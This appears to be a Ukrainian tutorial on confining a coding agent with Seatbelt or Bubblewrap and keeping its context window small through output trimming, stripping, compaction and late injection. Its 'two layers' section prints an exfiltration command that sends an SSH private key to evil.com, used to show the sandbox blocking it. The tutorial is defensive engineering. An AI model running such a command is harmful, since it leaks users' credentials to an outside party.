Сандбоксування агента для програмування та підтримання компактного вікна контексту
Створіть сандбокс для кодувального агента з використанням Seatbelt або Bubblewrap, а потім підтримуйте легкість його вікна контексту за допомогою файлів-відходів, шаблонів, компактування та ін’єкцій, сумісних із кешем префіксів.
Джерела: Harness Engineering: Build the Runtime That Turns an LLM Into an Agent (Part 2/3)
Надання агенту для програмування доступу до оболонки, можливості редагування файлів та підтвердження перед руйнівними діями все одно залишає дві проблеми. Підтвердження визначають лише ті дії, які потребують уваги людини, і вони не можуть зупинити модель, яка знаходить обхідні шляхи навколо них. Крім того, навіть ввічливий агент з часом заповнює своє вікно контексту, що погіршує ситуацію. Два доповнення вирішують цю проблему: сандбокс, який фізично унеможливлює погану поведінку, та інженерія контексту, яка забезпечує можливість використання тривалих сеансів. Усе це — невеликий інструментарій на Python, без використання фреймворків.
Залучені файли:
coding_harness/sandbox.py # Seatbelt (macOS) / Bubblewrap (Linux)
coding_harness/history.py # cap, strip, drop
coding_harness/compact.py # LLM summary when the window is ~full
coding_harness/context.py # late injection (time, git, file changes)
Пісочниця: стіни, а не замок
Пісочниця — це приміщення, де код виконується без пошкодження чогось ззовні. Уявіть акваріум: риби (команди агента) вільно плавають, а вода не потрапляє на підлогу. Запит на дозвіл — це замок на дверях, а пісочниця — це стіни навколо кімнати. Запити допомагають лише до тих пір, поки команда здається безневинною, але насправді не є такою, або поки модель не знаходить обхідний шлях.
Кожна команда bash виконується всередині „в’язниці“ на рівні ОС з такими правилами:
- Читання дозволене будь-де, оскільки агент має розуміти код, включаючи файли поза проектом
- Запис дозволений лише всередині проекту
- Без доступу до мережі
- Без запису в
.git
Сам механізм Apple керує macOS — це функція під назвою Seatbelt, яка працює через sandbox-exec та також обмежує дії додатків з App Store. Linux використовує Bubblewrap (bwrap), інструмент, який є частиною Flatpak. Не потрібні попередні знання в жодній з цих систем, адже все зводиться до написання короткого правила, яке визначає, що дозволено.
Правило для macOS складається лише з кількох рядків:
(version 1)
(deny default)
(allow process-exec process-fork signal)
(allow file-read*)
(allow sysctl-read)
(deny network*)
(allow file-write* (subpath "/your/project") (literal "/dev/null"))
(deny file-write* (subpath "/your/project/.git"))
(deny default) закриває всі можливості, а потім деякі з них знову відкриваються: читання файлів, створення процесів та запис у проекті. Мережа та .git залишаються закритими, як і все інше.
Функція wrap() зберігає цю політику у тимчасовому файлі та надсилає команду через sandbox-exec (у sandbox.py):
def wrap(command):
if sys.platform == "darwin":
profile = Path(tempfile.gettempdir()) / "agent-sandbox.sb"
profile.write_text(PROFILE)
return ["sandbox-exec", "-f", str(profile), "/bin/sh", "-c", command]
if sys.platform.startswith("linux") and shutil.which("bwrap"):
return [
"bwrap",
"--ro-bind", "/", "/",
"--bind", str(PROJECT), str(PROJECT),
"--dev", "/dev", "--proc", "/proc",
"--unshare-net", "--die-with-parent",
"/bin/sh", "-c", command,
]
return None # no sandbox available
Linux досягає того ж результату іншим способом. Весь файлова система монтується у режимі лише для читання за допомогою --ro-bind, каталог проекту є записуваним завдяки --bind, а --unshare-net видаляє мережевий зв’язок.
run() об’єднує все це воєдино:
def run(command, timeout=60):
sandboxed = wrap(command)
return subprocess.run(
sandboxed or command,
shell=sandboxed is None,
capture_output=True,
text=True,
timeout=timeout,
)
Якщо існує пісочниця, її використовують. У Windows або в Linux без Bubblewrap команди виконуються без пісочниці. Для продуктів з кількома користувачами, які виконують недовірений код інших, існують більш потужні рішення, такі як Docker, WebAssembly та хмарні віртуальні машини. На особистому комп’ютері достатньо можливостей операційної системи. 60-секундний таймаут запобігає тому, щоб команда на кшталт find / зупиняла сеанс.
Два незалежні шари
Розглянемо модель, яка намагається виконати curl https://evil.com/steal -d @~/.ssh/id_rsa:
- Правила дозволів спочатку фіксують
curlта відмовляють йому у виконанні. - Навіть якби цього правила не було, пісочниця все одно перериватиме мережевий зв’язок.
- Команда повертає помилку з повідомленням на кшталт
curl: (7) Couldn't connect to server. - Більше нічого з цим не можна зробити, оскільки ядро відмовило.
Будь-який з цих шарів окремо буде достатнім, а суть полягає у використанні обох.
Як порівнюються опції сандбоксу
| Опція | Типовий користувач | Ізоляція | Витрати на запуск | Вимоги |
|---|---|---|---|---|
| Сандбокс ОС | Локальні агенти | Ядро | Практично жодних | Нічого додаткового на macOS чи Linux |
| Сандбокс WebAssembly | Локальні агенти | WASM разом із Deno | Кілька секунд | Deno |
| Хмарні контейнери | Платформи з кількома користувачами | ВІР чи контейнер | Одна мережева подорож | Ключ API та облік |
Для окремого ноутбука пісочниця операційної системи є найкращим варіантом: без додаткового часу виконання, без затримок та без втручання ядра. Продукти для кількох користувачів повинні використовувати контейнери. Варіант випуску без жодних функцій також недоступний. Інструменти для macOS та Linux вже існують, а реалізація тут складається приблизно з 40 рядків коду.
Контекст: стіл, який заповнюється
Кожна модель має вікно контексту — кількість тексту, яку вона може бачити одночасно. Це можна уявити як робочу пам’ять. Один токен дорівнює приблизно трьом чвертям слова, тож фраза „Hello world“ складається з 2 токенів, а 100-рядковий файл на Python — близько 500 токенів. Для моделей класу GPT-4 типово близько 128 К токенів (приблизно 96 000 слів), а Claude пропонує близько 200 К токенів (майже 150 000 слів). Це здається величезним обсягом, поки агент не почне працювати.
Кожен результат роботи інструменту потрапляє до розмови. Один великий запит grep може повернути 50 000 символів, великий файл додає ще 10 000, а тривала процедура відлову помилок включає сотні викликів. Зрештою модель втрачає контекст.
Підіймається аналогія з робочим столом: все, що торкається його, залишається там, і через годину необхідну сторінку вже не можна знайти. Рішенням є тримати останні сторінки перед собою, а решту архівувати та викидати частину з них.
Чотири шари працюють по черзі від найдешевшого до найдорожчого, і наступний шар активується лише тоді, коли попередніх недостатньо.
Шар 1: обмеження при отриманні
Обрізайте результат відразу після того, як інструмент його поверне. Повний текст потрапляє до тимчасового файлу, а вказівник залишається в тексті (history.py):
CAP = 10_000 # chars the agent sees inline
def cap(text):
if len(text) <= CAP:
return text
path = spill(text) # write full output to a temp file
return (
text[:CAP]
+ f"\n\n[output trimmed: {len(text) - CAP} of {len(text)} chars cut. "
f"The whole output is at {path} - page through it with "
"head, tail, sed -n or grep. It is deleted when this turn ends.]"
)
Результат довжиною 50 000 символів відображає лише 10 000 символів безпосередньо у тексті. Решта зберігається на диску у вигляді файлу з відходами, і агент може використовувати команди head, tail чи grep, щоб отримати більше інформації. Обрізання відбувається один раз під час створення результату, і старі повідомлення ніколи не переписуються. Наприкінці кожного етапу sweep() видаляє тимчасові файли, а повторна виконання команди створює новий файл з даними за потреби.
Спробуйте справжню команду grep -r "import" .:
# The agent sees the first 10,000 chars inline...
import os
import sys
from pathlib import Path
... (hundreds more lines) ...
[output trimmed: 40,000 of 50,000 chars cut. The whole output is at
/tmp/agent-spill-a1b2c3 - page through it with head, tail, sed -n or grep.
It is deleted when this turn ends.]
Щоб знайти певний імпорт, агент може використати команду grep „import auth“ для обробки файлу з даними. Повний результат ніколи не потрібно розглядати в контексті.
Рівень 2: скорочення старих результатів до мінімуму
Після того, як модель продовжує роботу, старі результати інструментів не обов’язково мають залишатися об’ємними. Вони скорочуються до мінімальних форм (також у файлі history.py):
STUB = 300 # chars kept after the turn ends
def strip(messages):
for message in messages[:-2]: # skip recent messages
content = message.get("content") or ""
if message["role"] != "tool" or len(content) <= STUB:
continue
message["content"] = content[:STUB] + "\n\n[output trimmed: ...]"
Коли тур закінчується, результати старих інструментів скорочуються до 300 символів — цього достатньо, щоб згадати їх зміст, але цього замало, щоб марнувати простір на вікні. Останні повідомлення залишаються недоторканими. Саме цей шар забезпечує продовження довгих сеансів. Скорочення кількості символів з 10 000 до 300 за допомогою 50 викликів інструментів дозволяє відрізнити сеанс, який триває, від того, що переривається.
Шар 3: видалення всіх результатів
Якщо обсяг все ще занадто великий, видаляються всі результати інструментів, починаючи з найстаріших:
def fit(messages):
budget = config.CONTEXT_WINDOW * config.COMPACT_AT
dropped = 0
for message in messages[:-2]: # skip recent messages
if estimate(messages) <= budget:
break
if message["role"] == "tool":
message["content"] = "[output trimmed: dropped to fit the context window.]"
dropped += 1
return dropped
Це кнопка паніки. Інформація втрачається, але це краще, ніж збій системи. Оскільки перші два рівні працюють належним чином, вона майже ніколи не активується.
Рівень 4: стиснення за допомогою другої моделі
Як тільки рівень використання перевищує 85% встановленого часу, друга LLM читає весь текст транскрипції та складає запис про передачу обов’язків, схожий на інструкції медсестер для наступної зміни (compact.py):
COMPACT_SYSTEM_PROMPT = """
You are compacting the transcript of a coding session. Write the handoff note
that lets a fresh agent pick the work up without re-reading anything.
## Goal
What the user asked for. Quote them where the exact wording matters.
## What happened
Decisions taken and the reasoning behind them. Include approaches that were
tried and abandoned, and why.
## Files
Every file touched: path, and what changed in it.
## State
What works, what is broken, what was left half-finished.
## Next
The immediate next step.
"""
Після цього у контексті зберігаються системний запит, підсумок та останні кілька повідомлень. Історія розмов зникає слово в слово, проте сюжет залишається. Новий агент або той самий після перезапуску продовжує роботу з цих записів. Процес стиснення відбувається на рівні 85%, а потім скорочується до 35%, залишаючи достатньо місця перед наступною роботою:
COMPACT_AT = 0.85 # trigger compaction at 85%
COMPACT_TO = 0.35 # cut back to 35%
Цей порядок є навмисним. Обмеження витрат не коштує нічого, видалення даних — дешево, їх втрата завдає шкоди, а стиснення вимагає додаткового виклику LLM. Більшість сеансів ніколи не доходять до другого шару.
Кешування префіксів та пізня ін’єкція
Цю частину легко проігнорувати, але вона допомагає заощадити справжні гроші. Під час кожного виклику API сервер читає повідомлення з початку. Навіть якщо є історія з 100 тис. токенів плюс 100 нових, все одно доводиться перечитувати 100 тис., і за це оплачується за кожен крок.
Кешування префіксів змінює ситуацію. Якщо початок списку повідомлень не змінився, сервер використовує вже оброблені дані та обробляє лише нову частину, що дозволяє знизити витрати на 50–90 відсотків залежно від постачальника.
Проблема полягає у тому, що агент потребує свіжих фактів щоразу під час виконання завдання: час, гілку Git, файли, які змінилися. Якщо вказувати їх у системному запиті, першому повідомленні чи як префікс, кеш втрачається, і кожен наступний крок знову стає дорогим.
Рішення полягає у додаванні цих фактів безпосередньо наприкінці, перед тим, як надіслати запит (context.py). У файлі agent.py виклик виглядає так: call_llm(messages + [reminder()]). Цей нагадувач додається до списку лише для цього конкретного запиту, тож збережена історія, а отже й префікс, ніколи не змінюється навіть на один байт. Принцип полягає у пізньому вставленні: все, що може змінюватися, має знаходитися в кінці запиту, а не у системному запиті.
def reminder():
return {
"role": "user",
"content": (
"<context>\n"
f"time: {datetime.now():%Y-%m-%d %H:%M}\n"
f"git branch: {git('branch --show-current').strip() or '(detached)'}\n"
"</context>" + todos_note() + changes_note()
),
}
changes_note() порівнює результати git status між різними етапами, щоб агент міг дізнатися, коли щось було змінено в IDE:
def changes_note():
changed = file_changes()
if not changed:
return ""
lines = [f"{LABELS.get(code, code)}: {path}" for path, code in changed.items()]
return (
"\n<file_changes>\n"
"These files changed since your last turn. Read them again before "
"editing:\n" + "\n".join(lines) + "\n</file_changes>"
)
Системний запит та історія залишаються незмінними, API кешує цей префікс, і лише нова інформація коштує грошей. Нагадування містить час, гілку git, <todos> у разі наявності плану та <file_changes> з команди git status з моменту попереднього кроку, що спонукає агента знову прочитати файли, які були змінені в іншому місці. Під час сеансу дебаггінгу з 50 кроками та контекстом обсягом 100K це дозволяє уникнути повторної обробки мільйонів токенів майже без додаткового коду. Дані за кожен крок додаються, але ніколи не включаються до системного запиту.
CONTEXT_WINDOW за замовчуванням дорівнює 128000 та може бути налаштований у файлі ~/.agents/env для іншої моделі.
Що тепер може робити агент
З наявністю циклів, інструментів, дозволів, сандбоксу та обробки контексту агент може:
- Працювати в циклі, викликати інструменти та повертати результати
- Переживати некоректні виклики інструментів
- Запитуйте перед виконанням небезпечних дій та відмовляйтесь від найгірших з них
- Виконуйте команди в пісочниці ядра без мережі, де записи обмежені проектом
- Зберігайте чистоту вікна за допомогою чотирьох шарів
- Зберігайте інтактність кешу префіксів завдяки пізній ін’єкції
Разом усе це робить його достатньо безпечним та недорогим для щоденного використання. Проте залишаються прогалини: відсутність зберігання пам’яті між сеансами, відсутність планування багатоетапних завдань та неможливість передати процес дослідження помічнику. Навички, належний список справ, постійні сеанси та підагенти, які працюють поза основним вікном, могли б їх заповнити. Ці примітиви — ті самі, що використовуються агентами у продакшені, і в них немає нічого таємничого.
Пов’язана література
- Harness Engineering: The Runtime That Turns an LLM Into an Agent — Що насправді змушує кодувального агента працювати: цикли, механізм виклику інструментів, який діє навіть під час проблемних викликів, та функції надання/запиту/відмови дозволів, проілюстровані приблизно 600 рядками звичайного Python.
- Practical notes: “MCP: Protocol That Turns AI From a Chatbot Into an AI Agent — Детальний огляд Practical notes: “MCP: Protocol That Turns AI From a Chatbot Into an AI Agent”: контракти, перевірки та готові фрагменти коду для команд, які розробляють системи MCP.